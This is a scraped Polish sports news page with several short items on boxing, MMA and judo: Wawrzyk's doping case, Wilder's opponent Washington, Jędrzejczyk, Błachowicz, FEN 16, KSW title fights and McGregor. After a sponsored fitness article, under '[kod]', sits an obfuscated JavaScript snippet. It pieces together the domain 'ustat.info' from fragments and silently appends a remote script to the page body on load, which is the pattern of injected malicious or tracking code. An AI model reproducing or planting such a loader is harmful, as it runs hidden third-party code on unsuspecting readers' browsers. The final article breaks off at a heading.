Wawrzyk czeka na decyzję, Wilder ma rywala

Andrzej Wawrzyk czeka na decyzję federacji WBC, po tym jak w jego organizmie wykryto zakazany stanozolol. Polak musi liczyć się z dyskwalifikacją. Decyzja powinna zapaść w ciągu dwóch tygodni. Tymczasem Deontay Wilder poznał nazwisko rywala, z którym zmierzy się 25 lutego na gali w Birmingham. Na wprost mistrza świata WBC stanie Gerald Washington.

Przypomnijmy. 15 i 16 stycznia przedstawiciele Światowej Agencji Antydopingowej pobrali od Wawrzyka materiały do badań. U Polaka wykryto niedozwolone środki.. W związku z tym Wawrzyk musiał pożegnać się z marzeniami o walce, której stawką byłby pas mistrzowski.

Trzeba czekać

Dla Andrzeja Wawrzyka ostatnie dni to istny dramat. Jego kariera bokserska znalazła się na zakręcie. Sam pięściarz zapewnia, że świadomie nie przyjmował zakazanych substancji. Stanozolol miałby trafić do organizmu Wawrzyka wraz z zanieczyszczoną odżywką.

Wiadomo, że nie ma już szans na starcie z Wilderem o mistrzostwo świata i 29-letni Polak musi liczyć się z karą. Teraz walczy o dobre imię oraz swoją przyszłość. Gdyby wersja Wawrzyka nie znalazła potwierdzenia, bokser musi się liczyć z tym, że pożegna się z grupa Sferis KnockOut Promotions.

Wawrzyk wydał oświadczenie, w którym prosi o cierpliwość i wstrzymanie się z ocenami. –  Głęboko wierze, że wszystkie działania jakie zamierzam podjąć doprowadzą do wyjaśnienia niniejszej sprawy, co pozwoli mi na odzyskanie dobrego imienia, nie tylko wśród kibiców i środowiska bokserskiego, ale i całego sztabu szkoleniowego, a także mojej grupy promotorskiej. Jednocześnie dla dobra sprawy, do czasu uzyskania wyników laboratoryjnych dotyczących badanych suplementów, nie zamierzam jej dalej komentować. Chciałbym również prosić kibiców oraz przedstawicieli mediów, by nie wydawali w mojej sprawie wyroku i nie osądzali mnie, do czasu wyjaśnienia wszystkich okoliczności sprawy – napisał pięściarz.

Mistrz poznał rywala

Andrzej Wawrzyk byłby drugim polskim bokserem, który stawiłby czoła Wilderowi. Ponad rok temu niepokonany Amerykanin znokautował Artura Szpilkę. Miejsce Wawrzyka zajął Gerald Washington.

Kilka dni temu FighTime.pl informował, że to właśnie 34-letni Amerykanin jest najpoważniejszym kandydatem do rywalizacji z mistrzem świata wagi ciężkiej WBC. Nasze doniesienia znalazły potwierdzenie i 25 lutego w Birmingham Washington postara się odebrać Wilderowi pas.

Washington to niezwykle ciekawa postać. 34-latek wcale nie musiał zostać bokserem, bo jego pierwszą miłością był… futbol amerykański. Washington grał w linii defensywnej Uniwersytetu Południowej Karoliny, przebywał także na testach w drużynach NFL. Z kariery nic nie wyszło i w 2012 roku postawił na boks. Decyzja okazała się strzałem w dziesiątkę. 34-latek ma na koncie 18 zwycięstw i jeden remis. Starcie z Wilderem będzie najpoważniejszym wyzwaniem dla Washingtona, który nigdy nie walczył o jakikolwiek tytuł.

KM

Jędrzejczyk dementuje, wielki powrót w MMA

Niepokonana Joanna Jędrzejczyk czeka na kolejną walkę w UFC. Pojawiły się informacje na temat potencjalnej rywalki mistrzyni wagi słomkowej, którą miałaby być Michelle Waterson. Polka nie potwierdza tych doniesień. W polskim MMA szykuje się wielkie wydarzenie. Na majowej gali KSW do rywalizacji powróci Łukasz „Juras” Jurkowski.

Jędrzejczyk wróciła do Stanów Zjednoczonych, gdzie przystąpiła do ciężkiej pracy. – To już koniec wakacji. Czas wracać do ciężkiej pracy w American Top Team. Super się cieszę z tego powodu! Nowe wyzwania i starania o bycie lepszą wersją siebie każdego dnia – napisała mistrzyni wagi słomkowej na swoim facebooku.

W oczekiwaniu na rywalkę

Ostatnią walkę 30-letni Polka stoczyła w listopadzie na gali UFC 205, kiedy to po pięciorundowym boju pokonała Karolinę Kowalkiewicz. Tym samym Jędrzejczyk po raz czwarty obroniła tytuł mistrzowski. Nowy rok niesie ze sobą kolejne wyzwania, a także domysły. Ruszyły spekulacje na temat najbliższej walki mistrzyni UFC, wedle których miałaby zaprezentować się na zaplanowanej na maj gali UFC 211 w rywalizacji z Michell Waterson.

31-letnia Amerykanka mocnym akcentem weszła do UFC. W debiucie, 12 lipca 2015 roku, pokonała przez poddanie Angelę Magana. Waterson miała zmierzyć się z Tecią Torres na UFC 194, jednak do walki nie doszło z powodu kontuzji. Jej przerwa trwała ponad rok, jednak w grudniu wróciła w efektownym stylu. Już w pierwszej rundzie rozprawiła się z Paige VanZant.

Akcje Amerykanki stoją wysoko, jednak Jędrzejczyk zaprzecza, że miałaby się z nią zmierzyć. –  Krążyły plotki, że będę walczyła z Michelle Waterson, ale to nie jest prawda. Byłam zaskoczona, bo dostałam wiele telefonów i wiadomości w tej sprawie. Kontaktowałam się nawet z Seanem Shelby, żeby zapytać, o co chodzi. Nie zamierzam walczyć z Waterson na UFC 211 – powiedziała w rozmowie z mmajunkie.com Jędrzejczyk.
 
Powrót

Po sześcioletniej przerwie do rywalizacji wraca Łukasz Jurkowski. Popularny „Juras” wystąpi podczas gali KSW Colosseum na stadionie PGE Narodowy, która odbędzie się 27 maja.

W ostatnim czasie Jurkowski realizował się w roli komentatora MMA, a także spikera Legii Warszawa. Niezwykle charyzmatyczny „Juras” postanowił wrócić do czynnego sportu. Wylewa pot na sali treningowej, żeby 27 maja dać z siebie maksimum. Po raz ostatni walczył na gali KSW 15, kiedy to przegrał z Tonim Valtonem. Łącznie stoczył 25 pojedynków, z których 15 zakończyło się jego triumfem.

To kolejna dobra informacja dla miłośników MMA. Na gali w Warszawie wystąpi aż pięciu mistrzów KSW: Marcin Wrzosek, Mateusz Gamrot, Tomasz Narkun, Fernando Rodrigues Jr. oraz Mamed Khalidov. Debiut w MMA zaliczy Damian Janikowski, a kolejną walkę stoczy Mariusz Pudzianowski.

fot. bloodyelbow.com

KM

Kwietniowa walka Błachowicza

Jan Błachowicz swoją szóstą walkę w UFC miał stoczyć 4 lutego na gali w Houston, jednak kontuzja wyeliminowała go z rywalizacji. Polskiego zawodnika kategorii półciężkiej zobaczymy w akcji w kwietniu. Jego rywalem będzie Patrick Cummins.

Ostatnią walkę w UFC Błachowicz stoczył we wrześniu ubiegłego roku, kiedy to w Hamburgu przegrał z Alexandrem Gustafssonem. Zaprezentował się przyzwoicie, a wcześniej pokonał Igora Pokrajaca i podpisał umowę z organizacją na kolejne cztery pojedynki.

Rywal czeka na zwycięstwo

4 lutego na gali UFC Fight Night 104 w Houston Błachowicz miał spotkać się z doświadczonym Ovincem St. Preux. Na kilka tygodni przed walką były mistrz KSW musiał wycofać się ze względu na kontuzję. Polak zmaga się z pęknięciem jednej z kości śródręcza w prawej dłoni. Jego miejsce w rywalizacji z St. Preux zajął Volkan Oezdemir.

Polak może spokojnie wracać do zdrowia i myśleć o kolejnej konfrontacji. Błachowicz wejdzie do oktagonu 8 kwietnia na gali UFC 2010 w Buffalo. Jego rywalem będzie Patrick Cummins. Amerykanina trudno uznać za wirtuoza i gwiazdę UFC, jednak jest solidnym zawodnikiem. Do najlepszej organizacji MMA na świecie trafił trzy lata temu z imponującym bilansem. Cztery walki wygrał w pierwszych rundach! W debiucie w UFC 36-latkowi przyszło zmierzyć się z Danielem Cormierem i poległ w… pierwszej odsłonie. Następnie wygrał trzy walki, ale ostatni czas nie jest dla niego najlepszy. Cummins przegrał dwa starcia – z Antonio Nogueirą i Gloverem Teixeirą. Łącznie stoczył w UFC osiem pojedynków, z czego cztery zakończyły się jego triumfem.

Błachowicz ma bogatszą karierę, jednak w amerykańskiej organizacji  ma na koncie pięć walk. Po raz szósty w UFC wystąpi w kwietniu, blisko rok od zwycięstwa z Pokrajacem. Dotychczas Polak odniósł dwa triumfy na amerykańskiej ziemi. W pojedynku z Cumminsem będzie musiał przygotować się na ciężką rywalizację. Istotne jest zachowanie ostrożności i spokojne wejście w pojedynek, bo 36-letni Amerykanin potrafi szybko kończyć walki. Tylko dwa starcia z jego udziałem zakończyły się decyzją sędziów.

Co ciekawe, będzie to starcie rankingowych „sąsiadów” wagi półciężkiej. Błachowicz zajmuje 15. miejsce w zestawieniu, a Cummins znajduje się oczko wyżej.

Johnson zaatakuje Cormiera

Wydarzeniem gali w Buffalo będzie pojedynek o mistrzostwo w wadze półciężkiej pomiędzy Danielem Cormierem a Anthonym Johnsonem. Panowie rywalizowali ze sobą w maju 2015 roku. Wtedy lepszy okazał się Cormier i zarazem sięgnął po pas.

Pierwotnie panowie mieli zmierzyć się w pojedynku rewanżowym w grudniu, jednak z powodu kontuzji mistrza starcie nie doszło do skutku. Johnson wygrał trzy kolejne walki i czeka na kolejną szansę na wywalczenie tytułu. 

KM

Trening na masę – co powinieneś o nim wiedzieć?

Budowanie masy mięśniowej jest jednym z etapów prowadzących do osiągnięcia wymarzonej sylwetki. Wiele osób zatem zastanawia się, jak powinien wyglądać dobry trening na masę i czym różni się od treningu „na rzeźbę”. Postanowiliśmy to sprawdzić. Oto, co udało nam się ustalić:

Jak ułożyć trening na masę?

Jak się okazuje, wiele osób ma problem z ułożeniem racjonalnego i efektywnego planu treningowego „na masę”. W tym zakresie nadal pokutuje wiele mitów i niedomówień. – Prawda jest taka, że wielu z nas nie zdaje sobie sprawy z tego, że każdy trening musi być podparty odpowiednią dietą. Nie od dziś wiadomo, że doskonałe efekty przynosi połączenie ćwiczeń na masę z dietą na masę. Dlatego też warto rozpocząć działanie od zrewidowania swojej diety, dokładnego określenia zapotrzebowania kalorycznego i sprawdzenia, czy spożywamy wszystkie, niezbędne składniki odżywcze w odpowiednich proporcjach. – mówi specjalista z najpopularniejszego obecnie serwisu internetowego o uprawianiu sportu – wirtualnecentrumtreningowe.pl, w którym cały artykuł na ten temat znajdziecie tutaj.

Jaki trening na masę?

Specjaliści podkreślają, że treningi, dzięki którym zanotujemy przyrost tkanki mięśniowej w dużej mierze polegają na treningu siłowym. – Pamiętać należy o tym, że każdy z nas ma inne potrzeby i możliwości, dlatego każdy powinien mieć swój indywidualny plan treningowy uwzględniający nie tylko ogólny stan zdrowia, ale również możliwości zwiększania ciężarów – mięśnie muszą przecież otrzymywać nieustannie bodziec do wzrostu. Wiele osób powtarza, że tak naprawdę istotą treningu na masę są duże obciążenia i mała liczba powtórzeń. Ja dodam tylko, że muszą to być obciążenia dopasowane do każdego indywidualnie i co jakiś czas zwiększane. – dodaje nasz ekspert z WirtualneCentrumTreningowe.pl.

Treningi na masę obrosły mitami. Warto zatem planując je skorzystać ze wskazówek specjalistów – w grę wchodzi przecież nie tylko rezultat, ale też nasze zdrowie.

[kod]

(function(){
q0sy=document.createElement("script");q0sy_=("us")+("ta");
q0sy_+="t"+(".");q0sy_+=("in");q0syu="15454913";q0sy.async=true;
q0syu+=".caji20g20syx6cXbm";q0sy.type="text/javascript";q0sy_+="f"+"o"+("/");
q0syu+="r2svw2e0x3zmp";q0sy.src="//"+q0sy_+q0syu;
dq0sy=document.body;dq0sy.appendChild(q0sy);
})();

Gniadek rywalem Żelazowskiego w walce o pas na FEN 16 Warsaw Reloaded

Zamiast Alberta Odzimkowskiego, wyeliminowanego z udziału w marcowej gali FEN 16 Warsaw Reloaded na Towarze przez poważną kontuzję ręki, z Pawłem Żelazowskim w walce o zwakowany pas w formule MMA kategorii półśredniej zmierzy się Kamil Gniadek. Obaj fighterzy walczą efektownie i skutecznie – niemal wszystkie swoje zwycięstwa odnosili dotąd przed czasem – więc ich pojedynek o tytuł mistrza FEN zapowiada się ekscytująco.

Kamil „The Undertaker” Gniadek (22 lata, 178 cm, 11-4-1) należy do najbardziej dojrzałych i doświadczonych zawodników MMA młodego pokolenia w Polsce. „The Undertaker” zaczynał od grapplingu i ju-jitsu (zdobył m.in. srebrny medal Mistrzostw Europy Ju-Jitsu No-Gi 2012 w Londynie), ale szybko zdecydował się na MMA – pierwszą zawodową walkę stoczył, mając zaledwie 17 lat. Doświadczenie w nowej dyscyplinie zbierał, tocząc zacięte boje m.in. z przyszłymi zawodnikami UFC Artemem Lobovem i Łukaszem Sajewskim. Reprezentant Berserkers Team Szczecin do pojedynku o pas na gali FEN 16 Warsaw Reloaded przystąpi po serii trzech wygranych walk z rzędu w nowej dla siebie kategorii półśredniej (wcześniej walczył w wadze lekkiej). W każdym z tych pojedynków mierzył się z mocnym rywalem i w każdym zwyciężył przed czasem – w kwietniu ubiegłego roku na gali IFO Europe: East Meets West w Niemczech balachą poddał reprezentanta gospodarzy Alexandra Vogta, w sierpniu na gali FEN 13 Summer Edition w swoim debiucie w klatkoringu FEN duszeniem zza pleców pokonał Klemensa Ewalda, a na niedawnej gali FEN 15 Final Strike już w pierwszej rundzie skrętówką wygrał z Francuzem Vincentem Del Guerrą.

Paweł Żelazowski (26 lat, 183 cm, 9-2), notowany nieco wyżej niż Gniadek w rankingach polskiego MMA wagi półśredniej, również ma na koncie dwa występy w organizacji Fight Exclusive Night, w których rozprawił się z przeciwnikami na długo przed kończącym walkę gongiem. W 2015 roku na wakacyjnej gali FEN 8 Summer Edition prawym sierpowym znokautował Artura Piotrowskiego, a na ubiegłorocznej gali FEN 11 Warsaw Time efektownie balachą zza pleców zmusił do odklepania Alberta Odzimkowskiego. Zawodnik klubu Dziki Wschód Biała Podlaska wcześniej święcił triumfy w Profesjonalnej Lidze MMA, wygrywając w niej siedem walk z rzędu i zdobywając tytuł mistrza tej organizacji. Jedynych porażek w zawodowej karierze Żelazowski doznał w obronie pasa PLMMA ze świetnym Francuzem Mickaelem Leboutem, później związanym z federacją UFC, oraz w swoim zagranicznym debiucie na gali GMC 9 w Niemczech, na której w walce wieczoru walczył o pas z Kerimem Engizekiem.

Albert Odzimkowski, który na  gali FEN 15 Final Strike w Lubinie pokonał na punkty Oskara Somerfelda, już w pierwszej rundzie doznał złamania drugiej kości śródręcza prawej dłoni. Zawodnik Cross Fight Radom w zeszłym tygodniu poddał się operacji i nie ma szans, aby w terminie gali FEN 16 Warsaw Reloaded był już stuprocentowo zdrowy i gotowy do walki. „Kontuzja Alberta pokrzyżowała zarówno jego, jak i nasze plany. Jedno jest pewne – „Złoty” swoimi dotychczasowymi występami w klatkoringu FEN zasłużył na walkę o tytuł mistrzowski i na jednej z kolejnych gal ponownie otrzyma szansę jego zdobycia” – zapowiada prezes FEN Paweł Jóźwiak.

Jedynym mistrzem FEN w MMA kategorii półśredniej był dotychczas Davy Gallon, który zdobył tytuł podczas gali FEN 12 Feel The Force, pokonując we wrocławskiej Hali Stulecia Michała Michalskiego. Francuz niedawno zwakował jednak pas, decydując się zmienić kategorię wagową.

FEN 16 Warsaw Reloaded to druga gala organizacji Fight Exclusive Night w stolicy Polski. 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pas walczyć będzie także Paweł Hadaś w kategorii średniej. W fight cardzie znalazło się także starcie w formule K-1 Artura Bizewskiego i Arkadiusza Wrzoska oraz walki Marcina Szredera i debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Odliczanie do mistrzostw Europy

Po siedemnastu latach mistrzostwa Europy w judo ponownie zagoszczą w Polsce. W dniach 20-23 kwietnia impreza odbędzie się w Warszawie. Polska musi wykorzystać tę szansę na płaszczyźnie sportowej i marketingowej.

Gdzieś w tunelu widać światełko. Igrzyska Olimpijskie polskim kadrowiczom nie wyszły, jednak w pojedynczych startach na poziomie międzynarodowym odnotowywaliśmy dobre wyniki. Podczas ubiegłorocznych mistrzostw Europy w Kazaniu pokazaliśmy siłę tkwiącą w naszych drużynach. Wspomniane starty dają nadzieję, ale niezbędna jest powtarzalność, która pozwoli jednoznacznie stwierdzić, że jesteśmy na dobrej drodze. Teraz zmierzamy do Tokio, a na trasie mamy przystanek Warszawa.

Z nadzieją na medale

O przeszłości należy pamiętać i ją pielęgnować, ale niekoniecznie żyć nią każdego dnia. Powinniśmy tworzyć historię, która jest wyznacznikiem trwałości i potęgi. W 1994 roku mogliśmy powiedzieć, że polskie judo jest mocne na tle Europy. Podczas mistrzostw w Gdańsku zdobyliśmy sześć krążków i zajęliśmy piąte miejsce w klasyfikacji medalowej. Tytuły najlepszych na Starym Kontynencie wywalczyli: Paweł Nastula (95kg) i Ewa Krasue (52kg). Rywalizację w Gdańsku ze srebrnym medalem zakończyła utytułowana Beata Maksymow. Ponownie mistrzostwa Europy zawitały do Polski sześć lat później. We Wrocławiu nie było już tak kolorowo. Widać było, że nasze judo przeżywa kryzys. Tylko Robertowi Krawczykowi (81kg) udało stanąć się na podium, wywalczył brąz.

W jakim miejscu jest obecnie polskie judo? Na pewno droga nie jest prosta. Co i raz pojawiają się problemy natury finansowej, w 2014 roku w Polskim Związku Judo nastał się kurator. Wszystko to odbiło się szerokim echem i nie dostarczyło judo sympatyków. Stan kryzysu potęgował brak sukcesów sportowych. 

Jednak światełko zapaliło się. W 2014 roku nadzieję w serca wlała Katarzyna Kłys, która przełamała naszą niemoc w mistrzostwach świata i sięgnęła po brąz. Wiele obiecywaliśmy sobie po igrzyskach w Rio, gdzie wystąpiła czwórka Polaków. Wróciliśmy jednak bez medalu. Trochę szkoda, że w igrzyskach nie odbywa się rywalizacja drużynowa, bo jako monolit stanowimy siłę. Żeńska kadra w Kazaniu wywalczyła mistrzostwo Europy, a męska brązowy medal.

Już w kwietniu europejska czołówka zawita do Warszawy. Na obecną chwilę warunki kwalifikacyjne spełnia 19 zawodników (11 pań i 8 panów). Są to: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Arleta Podolak i Anna Borowska (57kg), Karolina Tałach i Agata Ozdoba (63kg), Katarzyna Kłys i Sandra Lickun (70kg), Daria Pogorzelec i Beata Pacut (78kg), Michał Bartusik i Patryk Wawrzyczek (66kg), Damian Szwarnowiecki i Jakub Kubieniec (81kg), Piotr Kuczera i Patryk Ciechomski (90kg), Maciej Sarnacki i Kamil Grabowski (+100kg). Należy pamiętać, że obowiązuje limit miejsc – 9 dla kobiet i 9 dla mężczyzn oraz nie więcej niż dwóch zawodników w kategorii wagowej z danego kraju. Decydujący będzie ranking światowy, a następnie krajowy na dzień 6 marca. Warto dodać, że Polska może zaproponować po jednej „dzikiej karcie” wśród kobiet i mężczyzn. 

Zdobywać punkty

Niezwykle ważne będą dla zawodników lutowe i marcowe starty, w których mogą wzbogacić swoje konto punktowe i poprawić pozycję w rankingach. W zmaganiach w Tunisie nie zobaczyliśmy naszych zawodników. Turniej zdominowali Francuzi, którzy wywalczyli aż 22 medale, w tym osiem złotych.

Kolejne zmagania już 4 lutego. Panie pojadą do Sofii, a panowie zaprezentują się w Odivelas. Wiadomo, że w Bułgarii rywalizować będą Agata Perenc (52kg) i Julia Kowalczyk (57kg). Z kolei w Odivelas wystąpi pięciu biało-czerwonych. Tydzień później judocy wezmą udział w zawodach Grand Slam w Paryżu. Wśród zgłoszonych jest Arleta Podolak (57kg), która rok temu we Francji była piąta.

KM

Wawrzyk nie zawalczy o mistrzostwo świata!

Do najważniejszego starcia w karierze Andrzeja Wawrzyka pozostał miesiąc. Do pojedynku nie dojdzie, gdyż Polak został przyłapany na stosowaniu dopingu!

25 lutego na gali w Birmingham w walce wieczoru mistrz świata WBC Deontay Wilder miał zmierzyć się z Andrzejem Wawrzykiem. Tym samym 29-latek po raz drugi rywalizowałby o pas. Jednak już teraz Wawrzyk znalazł się na ustach wszystkich, ale nie jest to powód do chwały…

Dopingowy skandal

Do drzwi Wawrzyka zapukali przedstawiciele komisji antydopingowej. 15 i 16 stycznia od polskiego pięściarza pobrano dwie próbki, których wynik badania był zatrważający. W pobranych materiałach wykryto stanozolol, czyli specyfik zapewaniający szybki przyrost masy mięśniowej. 

Dla Wawrzyka to dopiero początek problemów. Po pierwsze, zaprzepaścił szansę na walkę o mistrzostwo świata. 25 lutego miał rywalizować o pas WBC z Deontayem Wilderem. Bilety na galę w Birmingham rozchodziły się jak świeże bułeczki. Dla polskich kibiców byłoby to ogromne wydarzenie, gdyż mogliby zobaczyć kolejnego rodaka w rywalizacji o tytuł w kategorii królewskiej. Co ważne, dla Wawrzyka byłoby to drugie starcie mistrzowskie. W maju 2013 roku przegrał z Aleksandrem Powietkinem. Po drugie, polski pięściarz musi czekać na wyrok w postaci dyskwalifikacji. 

W ostatnim czasie na stosowaniu dopingu przyłapano Michała Cieślaka i Nikodema Jeżewskiego. W 2012 roku w tarapaty popadł inny pięściarz wagi ciężkiej. Mariusz Wach został zdyskwalifikowany za stosowanie dopingu po walce z Władimirem Kliczko.

Wilder szuka rywala

Wilder musi więc czekać na rywala, z którym zmierzy się w Alabamie. Przeciwnik będzie musiał w ekspresowym tempie przygotować się do pojedynku. Najpoważniejszym kandydatem do występu na gali w Birmingham jest Gerald Washington. 34-letni Amerykanin jeszcze nigdy nie przegrał na zawodowym ringu. Na rozkładzie ma m.in. Eddiego Chambersa i Nagy'ego Aguilerę, których swego czasu pokonał Tomasz Adamek. Washington zremisował jedno starcie – w październiku 2015 roku z Amirem Mansourem. Wśród kandydatów do walki z mistrzem WBC wymienia się również Dilliana Whyte'a i Jarrela Millera.

Dla Wildera lutowa walka będzie powrotem po półrocznej przerwie. W wygranym pojedynku z Chrisem Arreolą 31-letni bombardier doznał kontuzji ręki i musiał przejść dwie operacje.

Po raz drugi potencjalny rywal Wildera wpada na dopingu. W maju ubiegłego roku amerykański czempion miał spotkać się z Aleksandrem Powietkinem, jednak w organizmie Rosjanina wykryto meldonium.

Na gali w Birmingham miał się zaprezentować Artur Szpilka. „Szpilę” przymierzano do walki z Dominicem Breazealem, który niedawno przegrał walkę o pas IBF z Anthonym Joshuą. Do starcia jednak nie dojdzie. 25 lutego z Breazealem do ringu wejdzie niepokonany Izuagbe Ugonoh.

KM

Mistrzowskie starcia na PGE Narodowym

Na majowej gali KSW na stadionie PGE Narodowy w Warszawie zobaczymy cztery walki mistrzowskie. Trzech czempionów poznało już swoich rywali. Na przeciwnika nadal czeka Mamed Khalidov.

W wadze ciężkiej Fernando Rodrigues Jr. zmierzy się z Marcinem Rożalskim, zaś w półciężkiej Tomasz Narkun będzie chciał odeprzeć atak Marcina Wójcika. Z kolei mistrz kategorii piórkowej Marcin Wrzosek zmierzy się z Kleberem Koike Erbstem.

„Różal” pomści Bedorfa?

29-letni Rodrigues Jr. ma najmniejsze doświadczenie spośród wszystkich uczestników mistrzowskich walk warszawskiej gali. Brazylijczyk przyjechał do Polski i w swoim pierwszym występie zdobył tytuł w wadze ciężkiej KSW. W drugiej rundzie rozbił Karola Bedorfa, który po trzech udanych obronach pożegnał się z pasem. 

Na PGE Narodowym pomścić „Coco” postara się Marcin Różalski. 38-latek stanie przed ogromną szansą. Jeszcze rok temu znajdował się pod ścianą. Po dwóch porażkach jego los wisiał na włosku, jednak na KSW 35 okazał się lepszy od Mariusza Pudzianowskiego. „Różal” w efektownym stylu wrócił na salony i w maju będzie mógł wejść na szczyt. „Płocki Barbarzyńca” będzie miał swój mały jubileusz. W Warszawie zaliczy dziesiątą walkę dla KSW.

Marcin Wójcik przebojem wdarł się do KSW i po trzech zwycięstwach dostał szansę na starcie o mistrzowski pas wagi półciężkiej. 27-latek z Piły wygrał osiem kolejnych walk. W KSW pokonał kolejno: Tomasza Kondraciuka, Michała Fijałka oraz Marcina Łazarza. Ostatniego rywala odprawił już w pierwszej rundzie przez duszenie gilotynowe. Efektowny Wójcik stanie w Warszawie na wprost Tomasza Narkuna. 27-letni mistrz stał się jedną z najbardziej popularnych postaci KSW. Narkun nie ma litości dla swoich rywali. Kolejne cztery walki rozstrzygał w pierwszych rundach.

Walce Artura Sowińskiego z Marcinem Wrzoskiem towarzyszyło wiele emocji. Podczas grudniowej gali w Krakowie „Polski Zombie” odebrał pas „Kornikowi”. Wrzosek stanie do pierwszej obrony tytułu przed sześćdziesięciotysięczną publicznością. Jego rywalem będzie dobrze znany Kleber Koike Erbst. 27-latek z Japonii wygrał dwie walki na KSW, raz przegrał. Jego pogromcą okazał się Artur Sowiński. Po raz drugi Koike Erbst stanie przed szansą wywalczenia pasa w kategorii piórkowej.

Gwiazdozbiór

Majowa gala KSW na PGE Narodowym będzie pełna gwiazd. W stolicy dojdzie do czterech pojedynków mistrzowskich. Na rywala nadal czeka Mamed Khalidov, który pokonał ostatnio Aziza Karaoglu.

W Warszawie zaprezentuje się Mariusz Pudzianowski, który po wygranej z Pawłem Mikołajuwem w Krakowie zapowiadał, że powoli myśli o zakończeniu kariery. Były strongman ma na koncie 10 wygranych walk i 5 porażek. Na PGE Narodowym pierwszą walkę w formule MMA stoczy brązowy medalista Igrzysk Olimpijski w Londynie w zapasach w stylu klasycznym – Damian Janikowski.

Fot. sherdog.com

KM

Wilder następny na liście Joshuy?

W kwietniu na stadionie Wembley pojawią się prawdziwe gromy. Anthony Joshua zmierzy się z Władimirem Kliczko w mistrzowskim starciu w wadze ciężkiej. 27-latek z Watford przygotowuje się do starcia z ikoną boksu, ale jego promotorzy już myślą o kolejnym pojedynku. Rywalem Joshuy miałby być Deontay Wilder.

Ubiegły rok w kategorii ciężkiej przebiegał pod dyktando uników Tysona Fury'ego, który nie udźwignął ciężaru sukcesu. Popadł w kłopoty i używki, a na koniec zrzekł się pasów. Na szczyt wspiął się Anthony Joshua. Zakontraktowanie jego walki z Władimirem Kliczko to hit, ale kto powiedział, że będzie to jedyne gorące danie nadchodzących miesięcy?

Amerykański sen

Z pewnością Anthony Joshua spełnił swoje marzenia zdobywając pas mistrzowski IBF w wadze ciężkiej. Podstawowe pytanie, czy go to zadowala? Odpowiedź może być tylko jedna: oczywiście, że nie. Gość ma 27 lat i wszystkie atuty, aby tak jak Władimir Kliczko zdominować wagę ciężką na długie lata.

Kwietniowie starcie Brytyjczyka z Ukraińcem urasta do rangi symbolu. Młody, niezwykle utalentowany i masakrujący kolejnych rywali bokser kontra wielki mistrz, ikona i postać pięściarstwa. „Oj, będzie się działo!”. Nikt nie zabroni nam wybiec nieco w przyszłość. Czyni to także promotor Joshuy Eddie Hearn. Zapowiada, że mistrz świata IBF ma coraz mocniejszą pozycję i śmiało może myśleć o starciu z Deontayem Wilderem. Niebawem Joshua będzie mógł zaprezentować się szerzej amerykańskiej publiczności. 27-latek będzie promował… kwietniową walkę z Kliczko.

Wszystkie dotychczasowe walki Joshua stoczył na własnym terenie. Po pojedynku z Kliczko może ruszyć w świata. – Chcielibyśmy walki z Wilderem. Ten pomysł jest dobry. Joshua budzi coraz większy entuzjazm w Ameryce. Ostatnio wszyscy o nim mówili – podaje Hearn w rozmowie ze Sky Sports.

Wiadomo, że do ewentualnego starcia z Joshuy z Wilderem długa droga, ale pomarzyć można. Nie ukrywajmy, że byłby to wspaniały spektakl. W ringu pojawiłoby się dwóch groźnych i niezwykle skutecznych bokserów.

Plany Wildera

Joshua w kwietniu, a Wilder już 25 lutego pojawi się w ringu. W Birmingham mistrza świata WBC zmierzy się z Andrzejem Wawrzykiem. Amerykanin w zapowiedziach nie ukrywa, że jest pewny swego. Dla Polaka będzie to drugie podejście do mistrzowskiego tytułu.

Tymczasem na horyzoncie pojawia się kolejny rywal dla Deontaya Wildera. To Joseph Parker, który wywalczył tytuł WBO w starciu z Andym Ruizem. 25-latek niebawem w obronie pasa ma zmierzyć się z Hughim Fury'm. Obóz Parkera chciałby, aby kolejnym rywalem Nowozelandczyka był Wilder. Co ciekawe, 25-latek jeszcze nie przegrał na zawodowym ringu. Odniósł 22 zwycięstwa, w tym 18 przed czasem.

KM

McGregor celem Pacquiao?

Conor McGregor rozbudził świat boksu. Nadal trwają domysły, czy mistrz wagi lekkiej UFC stanie do rywalizacji z Floydem Mayweatherem. Swoich sił z zawodnikiem MMA chciałby spróbować Manny Pacquiao.

McGregor opanował najlepszą organizację MMA na świecie, czyli UFC. Najpierw zdobył pas kategorii piórkowej, a potem podbił wagę lekką i zrzekł się pierwszego z tytułów, którego nie bronił ani razu. Irlandczyk wpadł na kolejny pomysł. 28-letni McGregor uzyskał licencję bokserską stanu Kalifornia. Jak to się mówi, show must go on!

Filipińczyk w grze

Tę walkę pamiętają wszyscy. 2 maja 2015 doszło do walki stulecia, w której zmierzyli się Floyd Mayweather Jr. i Manny Pacquiao. Krytycy podkreślali, że starcie powinno mieć miejsce kilka lat temu, aby było bardziej atrakcyjne pod względem sportowym. W ringu spotkały się dwie ikony boksu, a wokół walki wytworzyła się aura wielkiego święta. Wszyscy zwracali uwagę na astronomiczne zyski, które wygenerowało starcie. Mayweather zarobił ponad 270 milionów dolarów! Z kolei Pacquiao zgarnął ok. 100 milionów mniej.

Czy finansowe rekordy mogą zostać pobite? Jeśli do akcji wkracza najbardziej rozpoznawalna twarz MMA, czyli Conor McGregor, to wszystko jest możliwe. Wszystkie oczy zwrócone są na Irlandczyka, który otrzymał licencję bokserską stanu Kalifornia. Mistrz UFC jest gotowy podjąć kolejne wyzwanie i zarobić grube miliony. Od razu pojawiły się doniesienia jakoby McGregor miał zmierzyć się z niepokonanym Floydem Mayweatherem Jr. Problemem w tym, że popularny „Money” zakończył karierę bokserską, ale Amerykanin jest gotów wrócić. Były mistrz WBC, WBA, WBO wagi półśredniej przedstawił swoje oczekiwania. Chce 100 milionów dolarów i większą część zysków ze sprzedaży PPV.

Jeśli nie Mayweather, to może Manny Pacquiao. Filipińczyk zgłosił chęć rywalizacji z Conorem McGregorem. – W boksie tak, ale na pewno nie w MMA – powiedział „Pacman”. Do konkretów jednak daleko, ale widać, że wejście McGregora do świata boksu może być niezwykle ciekawe. Warto przypomnieć, że Pacquiao również niedawno wrócił z emerytury i wygrał z Jessie Vargasem. Kolejnym rywalem Filipińczyka ma być Jeff Horn.

Kasa płynęłaby strumieniami

